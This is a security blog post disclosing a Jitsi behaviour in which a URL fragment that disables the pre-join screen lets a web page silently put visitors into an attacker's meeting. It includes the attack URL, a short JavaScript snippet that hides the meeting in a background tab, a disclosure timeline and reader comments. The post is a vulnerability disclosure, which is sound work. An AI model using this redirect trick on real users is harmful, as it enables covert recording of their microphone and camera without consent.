Jitsi privacy flaw that enables one-click stealth audio and video capture
A Jitsi feature allows an attacker to transmit user's microphone and camera in the background without their consent.
Jitsi is an open-source web conferencing application. Jitsi also hosts a public instance, with millions of monthly active users.
Attack scenario
Let’s walk through an example. An attacker runs a meeting called `MiniGinger` on the public Jitsi instance meet.jit.si.
When a user visits the attacker controller webpage `CuteCats.com`, in the background they are redirected to:
https://meet.jit.si/MiniGinger#config.prejoinConfig.enabled=false
If the user visited any other Jitsi meeting before and allowed it to access the mic and camera, the attacker meeting will run in the background without any user interaction. In this way, it is possible to get voice and video footage without the user's permission. In my honest opinion, it seems more like a problem than a feature.
What's more, we can use a trick that will open the link in the background; the victim might not notice that something is running in the background. This code opens the new window with the current URL, while in the current window, which stays in the background, opens the Jitsi link.
window.open(location.href)
location.href= ('https://meet.jit.si/MiniGinger#config.prejoinConfig.enabled=false')Disclosure timeline
The article's purpose is to allow users to enhance their security. Jitsi claims that this is a feature and has no intention to fix it. I think, at the very least, they should remove it from the public instance, where the security risk is at its highest.
Message from Jitsi:
Hey @zimzi,
That's a feature.
Please let me know in the comments below what you think about this feature!
Disclosure timeline:
June 17, 2025: I shared my findings with Jitsi.
June 17, 2025: They answered that this option is a feature.
June 18, 2025: I asked if I could discuss this feature publicly, but I got no answer.
July 23, 2025: I waited for them for over a month for their response, then I published this post.
Discuss on HackerNews.
This is clearly a feature and it's the browsers responsibility to warn the user about use of the camera and microphone, I love this feature and use it the whole time, if anyone didn't want to allow their camera and microphone use on a public instance they should remove permissions or just turn off the camera on Jitsi and they wouldn't have this issue
But... how can CuteCats.com exploit this scenario? In the end the user ends up on https://meet.jit.si, and that's what will be displayed in the user's address bar. Am I missing something?